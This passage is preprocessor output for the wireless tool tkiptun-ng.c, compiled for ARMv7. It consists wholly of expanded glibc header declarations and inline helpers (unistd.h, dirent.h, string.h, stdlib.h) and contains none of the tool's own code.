extern int __gethostname_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__gethostname_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__nonnull__ (1))) __attribute__((__warning__ ("gethostname called with bigger buflen than " "size of destination buffer")))
                                  ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) gethostname (char *__buf, size_t __buflen)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__buflen))
 return __gethostname_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));

      if (__buflen > __builtin_object_size (__buf, 2 > 1))
 return __gethostname_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));
    }
  return __gethostname_alias (__buf, __buflen);
}




extern int __getdomainname_chk (char *__buf, size_t __buflen, size_t __nreal)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
extern int __getdomainname_alias (char *__buf, size_t __buflen) __asm__ ("" "getdomainname") __attribute__ ((__nothrow__ , __leaf__))

                     __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
extern int __getdomainname_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__getdomainname_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getdomainname called with bigger " "buflen than size of destination " "buffer")))

                    ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) getdomainname (char *__buf, size_t __buflen)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__buflen))
 return __getdomainname_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));

      if (__buflen > __builtin_object_size (__buf, 2 > 1))
 return __getdomainname_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));
    }
  return __getdomainname_alias (__buf, __buflen);
}
# 1172 "/usr/include/unistd.h" 2 3 4



# 50 "tkiptun-ng.c" 2
# 1 "/usr/include/dirent.h" 1 3 4
# 29 "/usr/include/dirent.h" 3 4

# 63 "/usr/include/dirent.h" 3 4
# 1 "/usr/include/bits/dirent.h" 1 3 4
# 23 "/usr/include/bits/dirent.h" 3 4
struct dirent
  {




    __ino64_t d_ino;
    __off64_t d_off;

    unsigned short int d_reclen;
    unsigned char d_type;
    char d_name[256];
  };
# 64 "/usr/include/dirent.h" 2 3 4
# 99 "/usr/include/dirent.h" 3 4
enum
  {
    DT_UNKNOWN = 0,

    DT_FIFO = 1,

    DT_CHR = 2,

    DT_DIR = 4,

    DT_BLK = 6,

    DT_REG = 8,

    DT_LNK = 10,

    DT_SOCK = 12,

    DT_WHT = 14

  };
# 129 "/usr/include/dirent.h" 3 4
typedef struct __dirstream DIR;






extern DIR *opendir (__const char *__name) __attribute__ ((__nonnull__ (1)));






extern DIR *fdopendir (int __fd);







extern int closedir (DIR *__dirp) __attribute__ ((__nonnull__ (1)));
# 167 "/usr/include/dirent.h" 3 4
extern struct dirent *readdir (DIR *__dirp) __asm__ ("" "readdir64")
     __attribute__ ((__nonnull__ (1)));
# 191 "/usr/include/dirent.h" 3 4
extern int readdir_r (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result) __asm__ ("" "readdir64_r")



                      __attribute__ ((__nonnull__ (1, 2, 3)));
# 210 "/usr/include/dirent.h" 3 4
extern void rewinddir (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





extern void seekdir (DIR *__dirp, long int __pos) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern long int telldir (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





extern int dirfd (DIR *__dirp) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 234 "/usr/include/dirent.h" 3 4
# 1 "/usr/include/bits/posix1_lim.h" 1 3 4
# 157 "/usr/include/bits/posix1_lim.h" 3 4
# 1 "/usr/include/bits/local_lim.h" 1 3 4
# 39 "/usr/include/bits/local_lim.h" 3 4
# 1 "/usr/include/linux/limits.h" 1 3 4
# 40 "/usr/include/bits/local_lim.h" 2 3 4
# 158 "/usr/include/bits/posix1_lim.h" 2 3 4
# 235 "/usr/include/dirent.h" 2 3 4
# 246 "/usr/include/dirent.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 247 "/usr/include/dirent.h" 2 3 4
# 264 "/usr/include/dirent.h" 3 4
extern int scandir (__const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (__const struct dirent *), int (*__cmp) (__const struct dirent **, __const struct dirent **)) __asm__ ("" "scandir64")





                    __attribute__ ((__nonnull__ (1, 2)));
# 331 "/usr/include/dirent.h" 3 4
extern int alphasort (__const struct dirent **__e1, __const struct dirent **__e2) __asm__ ("" "alphasort64") __attribute__ ((__nothrow__ , __leaf__))


                   __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 360 "/usr/include/dirent.h" 3 4
extern __ssize_t getdirentries (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep) __asm__ ("" "getdirentries64") __attribute__ ((__nothrow__ , __leaf__))



                      __attribute__ ((__nonnull__ (2, 4)));
# 403 "/usr/include/dirent.h" 3 4

# 51 "tkiptun-ng.c" 2

# 1 "/usr/include/string.h" 1 3 4
# 29 "/usr/include/string.h" 3 4





# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 35 "/usr/include/string.h" 2 3 4









extern void *memcpy (void *__restrict __dest,
       __const void *__restrict __src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern void *memmove (void *__dest, __const void *__src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));






extern void *memccpy (void *__restrict __dest, __const void *__restrict __src,
        int __c, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));





extern void *memset (void *__s, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int memcmp (__const void *__s1, __const void *__s2, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 95 "/usr/include/string.h" 3 4
extern void *memchr (__const void *__s, int __c, size_t __n)
      __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));


# 126 "/usr/include/string.h" 3 4


extern char *strcpy (char *__restrict __dest, __const char *__restrict __src)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));

extern char *strncpy (char *__restrict __dest,
        __const char *__restrict __src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern char *strcat (char *__restrict __dest, __const char *__restrict __src)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));

extern char *strncat (char *__restrict __dest, __const char *__restrict __src,
        size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern int strcmp (__const char *__s1, __const char *__s2)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));

extern int strncmp (__const char *__s1, __const char *__s2, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));


extern int strcoll (__const char *__s1, __const char *__s2)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));

extern size_t strxfrm (char *__restrict __dest,
         __const char *__restrict __src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));






# 1 "/usr/include/xlocale.h" 1 3 4
# 28 "/usr/include/xlocale.h" 3 4
typedef struct __locale_struct
{

  struct __locale_data *__locales[13];


  const unsigned short int *__ctype_b;
  const int *__ctype_tolower;
  const int *__ctype_toupper;


  const char *__names[13];
} *__locale_t;


typedef __locale_t locale_t;
# 163 "/usr/include/string.h" 2 3 4


extern int strcoll_l (__const char *__s1, __const char *__s2, __locale_t __l)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3)));

extern size_t strxfrm_l (char *__dest, __const char *__src, size_t __n,
    __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));





extern char *strdup (__const char *__s)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1)));






extern char *strndup (__const char *__string, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1)));
# 210 "/usr/include/string.h" 3 4

# 235 "/usr/include/string.h" 3 4
extern char *strchr (__const char *__s, int __c)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 262 "/usr/include/string.h" 3 4
extern char *strrchr (__const char *__s, int __c)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));


# 281 "/usr/include/string.h" 3 4



extern size_t strcspn (__const char *__s, __const char *__reject)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));


extern size_t strspn (__const char *__s, __const char *__accept)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 314 "/usr/include/string.h" 3 4
extern char *strpbrk (__const char *__s, __const char *__accept)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 342 "/usr/include/string.h" 3 4
extern char *strstr (__const char *__haystack, __const char *__needle)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));




extern char *strtok (char *__restrict __s, __const char *__restrict __delim)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));




extern char *__strtok_r (char *__restrict __s,
    __const char *__restrict __delim,
    char **__restrict __save_ptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3)));

extern char *strtok_r (char *__restrict __s, __const char *__restrict __delim,
         char **__restrict __save_ptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3)));
# 397 "/usr/include/string.h" 3 4


extern size_t strlen (__const char *__s)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));





extern size_t strnlen (__const char *__string, size_t __maxlen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));





extern char *strerror (int __errnum) __attribute__ ((__nothrow__ , __leaf__));

# 427 "/usr/include/string.h" 3 4
extern int strerror_r (int __errnum, char *__buf, size_t __buflen) __asm__ ("" "__xpg_strerror_r") __attribute__ ((__nothrow__ , __leaf__))

                        __attribute__ ((__nonnull__ (2)));
# 445 "/usr/include/string.h" 3 4
extern char *strerror_l (int __errnum, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__));





extern void __bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));



extern void bcopy (__const void *__src, void *__dest, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern void bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int bcmp (__const void *__s1, __const void *__s2, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 489 "/usr/include/string.h" 3 4
extern char *index (__const char *__s, int __c)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 517 "/usr/include/string.h" 3 4
extern char *rindex (__const char *__s, int __c)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));




extern int ffs (int __i) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
# 536 "/usr/include/string.h" 3 4
extern int strcasecmp (__const char *__s1, __const char *__s2)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));


extern int strncasecmp (__const char *__s1, __const char *__s2, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 559 "/usr/include/string.h" 3 4
extern char *strsep (char **__restrict __stringp,
       __const char *__restrict __delim)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));




extern char *strsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__));


extern char *__stpcpy (char *__restrict __dest, __const char *__restrict __src)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *stpcpy (char *__restrict __dest, __const char *__restrict __src)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));



extern char *__stpncpy (char *__restrict __dest,
   __const char *__restrict __src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *stpncpy (char *__restrict __dest,
        __const char *__restrict __src, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 634 "/usr/include/string.h" 3 4
# 1 "/usr/include/bits/string.h" 1 3 4
# 635 "/usr/include/string.h" 2 3 4


# 1 "/usr/include/bits/string2.h" 1 3 4
# 80 "/usr/include/bits/string2.h" 3 4
typedef struct { unsigned char __arr[2]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR2;
typedef struct { unsigned char __arr[3]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR3;
typedef struct { unsigned char __arr[4]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR4;
typedef struct { unsigned char __arr[5]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR5;
typedef struct { unsigned char __arr[6]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR6;
typedef struct { unsigned char __arr[7]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR7;
typedef struct { unsigned char __arr[8]; } __attribute__ ((__packed__)) __STRING2_COPY_ARR8;
# 394 "/usr/include/bits/string2.h" 3 4
extern void *__rawmemchr (const void *__s, int __c);
# 969 "/usr/include/bits/string2.h" 3 4
extern __inline size_t __strcspn_c1 (__const char *__s, int __reject);
extern __inline size_t
__strcspn_c1 (__const char *__s, int __reject)
{
  register size_t __result = 0;
  while (__s[__result] != '\0' && __s[__result] != __reject)
    ++__result;
  return __result;
}

extern __inline size_t __strcspn_c2 (__const char *__s, int __reject1,
         int __reject2);
extern __inline size_t
__strcspn_c2 (__const char *__s, int __reject1, int __reject2)
{
  register size_t __result = 0;
  while (__s[__result] != '\0' && __s[__result] != __reject1
  && __s[__result] != __reject2)
    ++__result;
  return __result;
}

extern __inline size_t __strcspn_c3 (__const char *__s, int __reject1,
         int __reject2, int __reject3);
extern __inline size_t
__strcspn_c3 (__const char *__s, int __reject1, int __reject2,
       int __reject3)
{
  register size_t __result = 0;
  while (__s[__result] != '\0' && __s[__result] != __reject1
  && __s[__result] != __reject2 && __s[__result] != __reject3)
    ++__result;
  return __result;
}
# 1045 "/usr/include/bits/string2.h" 3 4
extern __inline size_t __strspn_c1 (__const char *__s, int __accept);
extern __inline size_t
__strspn_c1 (__const char *__s, int __accept)
{
  register size_t __result = 0;

  while (__s[__result] == __accept)
    ++__result;
  return __result;
}

extern __inline size_t __strspn_c2 (__const char *__s, int __accept1,
        int __accept2);
extern __inline size_t
__strspn_c2 (__const char *__s, int __accept1, int __accept2)
{
  register size_t __result = 0;

  while (__s[__result] == __accept1 || __s[__result] == __accept2)
    ++__result;
  return __result;
}

extern __inline size_t __strspn_c3 (__const char *__s, int __accept1,
        int __accept2, int __accept3);
extern __inline size_t
__strspn_c3 (__const char *__s, int __accept1, int __accept2, int __accept3)
{
  register size_t __result = 0;

  while (__s[__result] == __accept1 || __s[__result] == __accept2
  || __s[__result] == __accept3)
    ++__result;
  return __result;
}
# 1121 "/usr/include/bits/string2.h" 3 4
extern __inline char *__strpbrk_c2 (__const char *__s, int __accept1,
         int __accept2);
extern __inline char *
__strpbrk_c2 (__const char *__s, int __accept1, int __accept2)
{

  while (*__s != '\0' && *__s != __accept1 && *__s != __accept2)
    ++__s;
  return *__s == '\0' ? ((void *)0) : (char *) (size_t) __s;
}

extern __inline char *__strpbrk_c3 (__const char *__s, int __accept1,
         int __accept2, int __accept3);
extern __inline char *
__strpbrk_c3 (__const char *__s, int __accept1, int __accept2,
       int __accept3)
{

  while (*__s != '\0' && *__s != __accept1 && *__s != __accept2
  && *__s != __accept3)
    ++__s;
  return *__s == '\0' ? ((void *)0) : (char *) (size_t) __s;
}
# 1172 "/usr/include/bits/string2.h" 3 4
extern __inline char *__strtok_r_1c (char *__s, char __sep, char **__nextp);
extern __inline char *
__strtok_r_1c (char *__s, char __sep, char **__nextp)
{
  char *__result;
  if (__s == ((void *)0))
    __s = *__nextp;
  while (*__s == __sep)
    ++__s;
  __result = ((void *)0);
  if (*__s != '\0')
    {
      __result = __s++;
      while (*__s != '\0')
 if (*__s++ == __sep)
   {
     __s[-1] = '\0';
     break;
   }
    }
  *__nextp = __s;
  return __result;
}
# 1204 "/usr/include/bits/string2.h" 3 4
extern char *__strsep_g (char **__stringp, __const char *__delim);
# 1222 "/usr/include/bits/string2.h" 3 4
extern __inline char *__strsep_1c (char **__s, char __reject);
extern __inline char *
__strsep_1c (char **__s, char __reject)
{
  register char *__retval = *__s;
  if (__retval != ((void *)0) && (*__s = (__extension__ (__builtin_constant_p (__reject) && !__builtin_constant_p (__retval) && (__reject) == '\0' ? (char *) __rawmemchr (__retval, __reject) : __builtin_strchr (__retval, __reject)))) != ((void *)0))
    *(*__s)++ = '\0';
  return __retval;
}

extern __inline char *__strsep_2c (char **__s, char __reject1, char __reject2);
extern __inline char *
__strsep_2c (char **__s, char __reject1, char __reject2)
{
  register char *__retval = *__s;
  if (__retval != ((void *)0))
    {
      register char *__cp = __retval;
      while (1)
 {
   if (*__cp == '\0')
     {
       __cp = ((void *)0);
   break;
     }
   if (*__cp == __reject1 || *__cp == __reject2)
     {
       *__cp++ = '\0';
       break;
     }
   ++__cp;
 }
      *__s = __cp;
    }
  return __retval;
}

extern __inline char *__strsep_3c (char **__s, char __reject1, char __reject2,
       char __reject3);
extern __inline char *
__strsep_3c (char **__s, char __reject1, char __reject2, char __reject3)
{
  register char *__retval = *__s;
  if (__retval != ((void *)0))
    {
      register char *__cp = __retval;
      while (1)
 {
   if (*__cp == '\0')
     {
       __cp = ((void *)0);
   break;
     }
   if (*__cp == __reject1 || *__cp == __reject2 || *__cp == __reject3)
     {
       *__cp++ = '\0';
       break;
     }
   ++__cp;
 }
      *__s = __cp;
    }
  return __retval;
}
# 1298 "/usr/include/bits/string2.h" 3 4
# 1 "/usr/include/stdlib.h" 1 3 4
# 33 "/usr/include/stdlib.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 34 "/usr/include/stdlib.h" 2 3 4


# 469 "/usr/include/stdlib.h" 3 4


extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__));

extern void *calloc (size_t __nmemb, size_t __size)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__));

# 964 "/usr/include/stdlib.h" 3 4

# 1299 "/usr/include/bits/string2.h" 2 3 4




extern char *__strdup (__const char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__));
# 1322 "/usr/include/bits/string2.h" 3 4
extern char *__strndup (__const char *__string, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__));
# 638 "/usr/include/string.h" 2 3 4




# 1 "/usr/include/bits/string3.h" 1 3 4
# 23 "/usr/include/bits/string3.h" 3 4
extern void __warn_memset_zero_len (void) __attribute__((__warning__ ("memset used with constant zero length parameter; this could be due to transposed parameters")))
                                                                                                   ;
# 48 "/usr/include/bits/string3.h" 3 4
extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void *
__attribute__ ((__nothrow__ , __leaf__)) memcpy (void *__restrict __dest, __const void *__restrict __src, size_t __len)

{
  return __builtin___memcpy_chk (__dest, __src, __len, __builtin_object_size (__dest, 0));
}

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void *
__attribute__ ((__nothrow__ , __leaf__)) memmove (void *__dest, __const void *__src, size_t __len)
{
  return __builtin___memmove_chk (__dest, __src, __len, __builtin_object_size (__dest, 0));
}
# 76 "/usr/include/bits/string3.h" 3 4
extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void *
__attribute__ ((__nothrow__ , __leaf__)) memset (void *__dest, int __ch, size_t __len)
{
  if (__builtin_constant_p (__len) && __len == 0
      && (!__builtin_constant_p (__ch) || __ch != 0))
    {
      __warn_memset_zero_len ();
      return __dest;
    }
  return __builtin___memset_chk (__dest, __ch, __len, __builtin_object_size (__dest, 0));
}


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void
__attribute__ ((__nothrow__ , __leaf__)) bcopy (__const void *__src, void *__dest, size_t __len)
{
  (void) __builtin___memmove_chk (__dest, __src, __len, __builtin_object_size (__dest, 0));
}

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) void
__attribute__ ((__nothrow__ , __leaf__)) bzero (void *__dest, size_t __len)
{
  (void) __builtin___memset_chk (__dest, '\0', __len, __builtin_object_size (__dest, 0));
}


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char *
__attribute__ ((__nothrow__ , __leaf__)) strcpy (char *__restrict __dest, __const char *__restrict __src)
{
  return __builtin___strcpy_chk (__dest, __src, __builtin_object_size (__dest, 2 > 1));
}
# 117 "/usr/include/bits/string3.h" 3 4
extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char *
__attribute__ ((__nothrow__ , __leaf__)) strncpy (char *__restrict __dest, __const char *__restrict __src, size_t __len)

{
  return __builtin___strncpy_chk (__dest, __src, __len, __builtin_object_size (__dest, 2 > 1));
}


extern char *__stpncpy_chk (char *__dest, __const char *__src, size_t __n,
       size_t __destlen) __attribute__ ((__nothrow__ , __leaf__));
extern char *__stpncpy_alias (char *__dest, __const char *__src, size_t __n) __asm__ ("" "stpncpy") __attribute__ ((__nothrow__ , __leaf__))

                                 ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char *
__attribute__ ((__nothrow__ , __leaf__)) stpncpy (char *__dest, __const char *__src, size_t __n)
{
  if (__builtin_object_size (__dest, 2 > 1) != (size_t) -1
      && (!__builtin_constant_p (__n) || __n <= __builtin_object_size (__dest, 2 > 1)))
    return __stpncpy_chk (__dest, __src, __n, __builtin_object_size (__dest, 2 > 1));
  return __stpncpy_alias (__dest, __src, __n);
}


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char *
__attribute__ ((__nothrow__ , __leaf__)) strcat (char *__restrict __dest, __const char *__restrict __src)
{
  return __builtin___strcat_chk (__dest, __src, __builtin_object_size (__dest, 2 > 1));
}


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) char *
__attribute__ ((__nothrow__ , __leaf__)) strncat (char *__restrict __dest, __const char *__restrict __src, size_t __len)

{
  return __builtin___strncat_chk (__dest, __src, __len, __builtin_object_size (__dest, 2 > 1));
}
# 643 "/usr/include/string.h" 2 3 4




# 53 "tkiptun-ng.c" 2
# 1 "/usr/include/stdlib.h" 1 3 4
# 33 "/usr/include/stdlib.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 325 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4
typedef unsigned int wchar_t;
# 34 "/usr/include/stdlib.h" 2 3 4


# 96 "/usr/include/stdlib.h" 3 4


typedef struct
  {
    int quot;
    int rem;
  } div_t;



typedef struct
  {
    long int quot;
    long int rem;
  } ldiv_t;







__extension__ typedef struct
  {
    long long int quot;
    long long int rem;
  } lldiv_t;


# 140 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern double atof (__const char *__nptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

extern int atoi (__const char *__nptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

extern long int atol (__const char *__nptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





__extension__ extern long long int atoll (__const char *__nptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





extern double strtod (__const char *__restrict __nptr,
        char **__restrict __endptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





extern float strtof (__const char *__restrict __nptr,
       char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

extern long double strtold (__const char *__restrict __nptr,
       char **__restrict __endptr)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





extern long int strtol (__const char *__restrict __nptr,
   char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

extern unsigned long int strtoul (__const char *__restrict __nptr,
      char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));




__extension__
extern long long int strtoq (__const char *__restrict __nptr,
        char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

__extension__
extern unsigned long long int strtouq (__const char *__restrict __nptr,
           char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





__extension__
extern long long int strtoll (__const char *__restrict __nptr,
         char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

__extension__
extern unsigned long long int strtoull (__const char *__restrict __nptr,
     char **__restrict __endptr, int __base)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));

# 277 "/usr/include/stdlib.h" 3 4

extern __inline double
__attribute__ ((__nothrow__ , __leaf__)) atof (__const char *__nptr)
{
  return strtod (__nptr, (char **) ((void *)0));
}
extern __inline int
__attribute__ ((__nothrow__ , __leaf__)) atoi (__const char *__nptr)
{
  return (int) strtol (__nptr, (char **) ((void *)0), 10);
}
extern __inline long int
__attribute__ ((__nothrow__ , __leaf__)) atol (__const char *__nptr)
{
  return strtol (__nptr, (char **) ((void *)0), 10);
}




__extension__ extern __inline long long int
__attribute__ ((__nothrow__ , __leaf__)) atoll (__const char *__nptr)
{
  return strtoll (__nptr, (char **) ((void *)0), 10);
}

# 311 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));


extern long int a64l (__const char *__s)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 327 "/usr/include/stdlib.h" 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));


extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));





extern char *initstate (unsigned int __seed, char *__statebuf,
   size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));



extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));







struct random_data
  {
    int32_t *fptr;
    int32_t *rptr;
    int32_t *state;
    int rand_type;
    int rand_deg;
    int rand_sep;
    int32_t *end_ptr;
  };

